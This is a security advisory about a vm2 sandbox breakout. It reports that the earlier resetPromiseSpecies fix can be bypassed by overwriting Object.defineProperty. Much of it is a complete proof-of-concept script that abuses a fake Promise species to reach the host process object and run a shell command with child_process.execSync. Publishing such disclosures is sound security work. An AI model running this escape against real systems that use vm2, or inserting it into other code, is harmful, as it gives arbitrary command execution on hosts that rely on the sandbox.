VM2 Has Sandbox Breakout Through Promise Species

Summary

The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5 is insufficient and can be circumvented allowing attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

Details

The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5 introduced the function resetPromiseSpecies https://github.com/patriksimek/vm2/blob/4b009c2d4b1131c01810c1205e641d614c322a29/lib/setup-sandbox.js#L35C7-L39. This function changes the species property of promise objects back to a known value. However, it uses the function [].includes and Object.defineProperty which can be overewritten to prevent the species from being changed.

PoC

The following code demonstrates this issue by aquiring the host process object and executing touch pwned.

const {VM} = require("vm2");
const vm = new VM();
vm.run(`
Object.defineProperty=()=>{};
async function fn() {
    const e = new Error();
    e.name = Symbol();
    return e.stack;
}
p = fn();
p.constructor = {
    [Symbol.species]: class FakePromise {
        constructor(executor) {
            executor(
                (x) => x,
                (err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch pwned'); }
            )
        }
    }
};
p.then();
`);

Impact

Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.